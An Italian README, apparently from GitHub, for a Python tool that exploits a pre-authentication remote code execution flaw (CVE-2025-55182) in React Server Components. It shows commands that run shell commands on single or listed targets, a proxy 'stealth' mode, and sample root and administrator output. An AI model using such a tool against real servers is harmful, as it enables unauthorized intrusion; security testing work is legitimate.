React2Shell

React2Hell — CVE-2025-55182 Exploit

🔥 Exploit per Esecuzione Remota di Codice (RCE) su Server Next.js / React

█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄  ██  ██ ▄▄▄▄▄ ▄▄    ▄▄    
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██▄▄   ██████ ██▄▄  ██    ██    
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ▄▄▄███ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ 
                                                                
{MAGENTA} Exploit RCE su Server Next.js/React — CVE-2025-55182
 Autore: Ankit Pandey GitHub: https://github.com/ankitspandey07
    🚀  React2Shell — Utility di Test di Sicurezza  🚀

════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]

---

🚀 Panoramica

React2Hell è un potente strumento di sfruttamento progettato per testare e sfruttare CVE-2025-55182, una vulnerabilità critica di Esecuzione Remota di Codice che colpisce Next.js e React Server Actions.

Una vulnerabilità di esecuzione remota di codice pre-autenticazione esiste in React Server Components versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0, inclusi i seguenti pacchetti: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack. Il codice vulnerabile deserializza in modo non sicuro i payload dalle richieste HTTP agli endpoint delle funzioni server.

---

✨ Caratteristiche

• 🧨 Esecuzione Remota di Codice (RCE)
• 🌐 Scansione URL singoli / multipli
• 🧩 Esecuzione di comandi personalizzati
• 🕵️‍♂️ Modalità stealth con supporto proxy
• ⚡ Veloce, affidabile e facile da usare

---

📌 Utilizzo

Modalità Singolo Target

python Scanner.py -u https://target.com -c "whoami"

Target Multipli (da file)

python Scanner.py -l urls.txt -c "whoami"

Con Proxy HTTP (Burp Suite)

python Scanner.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080

Con Proxy HTTPS

python Scanner.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080

---

📁 Esempio di urls.txt

http://site1.com
https://site2.com
http://192.168.1.10:3000

---

🖥️ Output di Esempio

PS D:\Ankitspandey07\React2Hell> python.exe .\Scanner.py -l .\list.txt -c whoami


█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄  ██  ██ ▄▄▄▄▄ ▄▄    ▄▄    
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██▄▄   ██████ ██▄▄  ██    ██    
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ▄▄▄███ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ 
                                                                
{MAGENTA} Next.js/React Server RCE Exploit — CVE-2025-55182
 Author: Ankit Pandey GitHub: https://github.com/ankitspandey07
    🚀  React2Shell — Security Testing Utility  🚀

════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════

[→] Target: http://evil.com:3113/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────

[→] Target: http://example.lab:2000/
[→] Exec:   whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────

[→] Target: https://tale.lab:3000/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\Ankitspandey07\React2Hell>

---

⚠️ Dichiarazione di non responsabilità

Questo strumento è creato strettamente per scopi educativi e di ricerca sulla sicurezza. NON utilizzarlo su sistemi senza autorizzazione esplicita. Sei responsabile delle tue azioni.

---

⭐ Supporta il Progetto

Se questo exploit ti è stato utile, considera di lasciare una ⭐ su GitHub ❤️

---

👤 Autore

Ankit Pandey; GitHub: https://github.com/Ankitspandey07

Realizzato con 🔥 da qualcuno che è un Penetration Tester orgoglioso e appassionato, che prospera nell'imparare ad ogni passo.